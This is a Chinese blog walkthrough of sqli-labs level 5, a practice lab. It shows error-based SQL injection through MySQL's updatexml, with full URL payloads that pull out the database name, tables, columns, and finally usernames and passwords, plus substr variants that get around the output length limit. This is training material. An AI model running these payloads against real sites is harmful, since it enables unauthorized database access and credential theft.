sqli-labs第五关sql注入流程(重点讲updatexml函数的特性)

一、注入点测试

测试id=1,没有显示数据

?id=1

 加上单引号后,发现会返回报错信息,且可以知道是单引号闭合的,可以考虑使用报错注入

?id=1'

使用报错的sql盲注有很多方法,本文使用updatexml函数的特性来进行报错注入

标准语法为:

  1. updatexml('XML_document','Xpath_string','New_value')

  2. //即

  3. updatexml('目标xml文件名','在xml中查询的字符串','替换后的值')

二、爆库名

?id=1' and updatexml(1,concat(1,database()),1)--+

注:三个1都可以换成任意值不影响,这里主要是利用xpath的语法来爆相关数据

 三、爆表名

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)--+

 四、爆列名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name = ‘users’)),1)--+

五、爆字段内容

?id=1' and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+

注:limit 1,1中前面的1可以换0,2,3...   帐号和密码中间的0是为了将二者分别开,没有特殊含义


#另一种写法

?id=1' and updatexml(1,concat(1,substr((select group_concat(username,password) from users),1,31)),1)--+

这个只能获取一部分数据,获取后续的数据可改为:

?id=1' and updatexml(1,concat(1,substr((select group_concat(username,password) from users),31,100)),1)--+

另一种写法大家也可以尝试一下,这里就不放图了ovo

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值